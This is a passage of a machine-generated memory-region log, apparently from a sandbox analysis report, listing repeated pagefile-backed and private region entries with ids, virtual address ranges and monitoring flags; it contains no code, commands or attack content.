= 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1520 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1521 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1522 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1523 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1524 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1525 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1526 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1527 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1528 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1529 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1530 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1531 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1532 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1533 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1534 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1535 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1536 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1537 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1538 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1539 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1540 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1541 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1542 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1543 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1544 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1545 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1546 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1547 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1548 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1549 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1550 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1551 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1552 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1553 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1554 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1555 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1556 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1557 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1558 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1559 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1560 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1561 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1562 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1563 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1564 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1565 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1566 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1567 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1568 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1569 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1570 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1571 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1572 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1573 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1574 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1575 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1576 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1577 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1578 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1579 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1580 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1581 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1582 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1583 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1584 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1585 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1586 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1587 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1588 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1589 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1590 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1591 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1592 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1593 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1594 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1595 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1596 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1597 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1598 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1599 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1600 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1601 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1602 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1603 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1604 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1605 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1606 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1607 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1608 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1609 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1610 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1611 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1612 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1613 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1614 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1615 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1616 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1617 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1618 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1619 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1620 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1621 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1622 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1623 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1624 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1625 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1626 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1627 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1628 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1629 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1630 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1631 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1632 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1633 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1634 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1635 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1636 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1637 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1638 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1639 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1640 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1641 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1642 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1643 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1644 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1645 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1646 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1647 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1648 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1649 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1650 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1651 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1652 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1653 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1654 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1655 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1656 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1657 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1658 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1659 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1660 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1661 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1662 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1663 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1664 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1665 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1666 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1667 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1668 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1669 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1670 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1671 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1672 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1673 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1674 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1675 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1676 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1677 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1678 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1679 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1680 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1681 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1682 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1683 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1684 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1685 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1686 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1687 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1688 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1689 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1690 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1691 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1692 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1693 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1694 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1695 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1696 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1697 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1698 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1699 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1700 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1701 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1702 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1703 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1704 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1705 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1706 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1707 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1708 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1709 start_va = 0x540000 end_va = 0x54efff monitored = 1 